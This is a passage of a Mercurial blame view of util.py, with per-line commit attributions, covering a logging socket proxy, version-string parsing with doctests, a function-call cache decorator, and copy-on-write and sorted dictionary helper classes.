util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
949 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
950 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
951 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
952 |
39060
ed8160e4fea0
util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents:
38812
diff
changeset
|
953 def setsockopt(self, res, level, optname, value): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
954 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
955 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
956 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
957 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % ( |
39060
ed8160e4fea0
util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents:
38812
diff
changeset
|
958 self.name, level, optname, value, res)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
959 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
960 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
961 logdata=False, logdataapis=True): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
962 """Turn a socket into a logging socket.""" |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
963 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
964 observer = socketobserver(logh, name, reads=reads, writes=writes, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
965 states=states, logdata=logdata, |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
966 logdataapis=logdataapis) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
967 return socketproxy(fh, observer) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
968 |
7632 | 969 def version(): |
970 """Return version information if available.""" | |
971 try: | |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
972 from . import __version__ |
7632 | 973 return __version__.version |
974 except ImportError: | |
975 return 'unknown' | |
976 | |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
977 def versiontuple(v=None, n=4): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
978 """Parses a Mercurial version string into an N-tuple. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
979 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
980 The version string to be parsed is specified with the ``v`` argument. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
981 If it isn't defined, the current Mercurial version string will be parsed. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
982 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
983 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
984 returned values: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
985 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
986 >>> v = b'3.6.1+190-df9b73d2d444' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
987 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
988 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
989 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
990 (3, 6, 1) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
991 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
992 (3, 6, 1, '190-df9b73d2d444') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
993 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
994 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
995 (3, 6, 1, '190-df9b73d2d444+20151118') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
996 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
997 >>> v = b'3.6' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
998 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
999 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1000 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1001 (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1002 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1003 (3, 6, None, None) |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1004 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1005 >>> v = b'3.9-rc' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1006 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1007 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1008 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1009 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1010 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1011 (3, 9, None, 'rc') |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1012 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1013 >>> v = b'3.9-rc+2-02a8fea4289b' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1014 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1015 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1016 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1017 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1018 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1019 (3, 9, None, 'rc+2-02a8fea4289b') |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1020 |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1021 >>> versiontuple(b'4.6rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1022 (4, 6, None, 'rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1023 >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1024 (4, 6, None, 'rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1025 >>> versiontuple(b'.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1026 (None, None, None, '.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1027 >>> versiontuple(b'12.34..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1028 (12, 34, None, '..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1029 >>> versiontuple(b'1.2.3.4.5.6') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1030 (1, 2, 3, '.4.5.6') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1031 """ |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1032 if not v: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1033 v = version() |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1034 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1035 if not m: |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1036 vparts, extra = '', v |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1037 elif m.group(2): |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1038 vparts, extra = m.groups() |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1039 else: |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1040 vparts, extra = m.group(1), None |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1041 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1042 vints = [] |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1043 for i in vparts.split('.'): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1044 try: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1045 vints.append(int(i)) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1046 except ValueError: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1047 break |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1048 # (3, 6) -> (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1049 while len(vints) < 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1050 vints.append(None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1051 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1052 if n == 2: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1053 return (vints[0], vints[1]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1054 if n == 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1055 return (vints[0], vints[1], vints[2]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1056 if n == 4: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1057 return (vints[0], vints[1], vints[2], extra) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1058 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1059 def cachefunc(func): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1060 '''cache the result of function calls''' |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1061 # XXX doesn't handle keywords args |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1062 if func.__code__.co_argcount == 0: |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1063 cache = [] |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1064 def f(): |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1065 if len(cache) == 0: |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1066 cache.append(func()) |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1067 return cache[0] |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1068 return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1069 cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1070 if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1071 # we gain a small amount of time because |
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1072 # we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1073 def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1074 if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1075 cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1076 return cache[arg] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1077 else: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1078 def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1079 if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1080 cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1081 return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1082 |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1083 return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1084 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1085 class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1086 """helper class to make copy-on-write easier |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1087 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1088 Call preparewrite before doing any writes. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1089 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1090 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1091 def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1092 """call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1093 if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1094 self._copied -= 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1095 return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1096 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1097 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1098 def copy(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1099 """always do a cheap copy""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1100 self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1101 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1102 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1103 class sortdict(collections.OrderedDict): |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1104 '''a simple sorted dictionary |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1105 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1106 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1107 >>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1108 >>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1109 sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1110 >>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
1111 >>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1112 ['b', 'a'] |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1113 ''' |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1114 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1115 def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1116 if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1117 del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1118 super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1119 |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1120 if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1121 # __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1122 def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1123 if isinstance(src, dict): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1124 src = src.iteritems() |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1125 for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1126 self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1127 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1128 class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1129 """copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1130 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1131 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1132 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1133 >>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1134 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1135 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1136 >>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1137 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1138 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1139 >>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1140 >>> c is a |
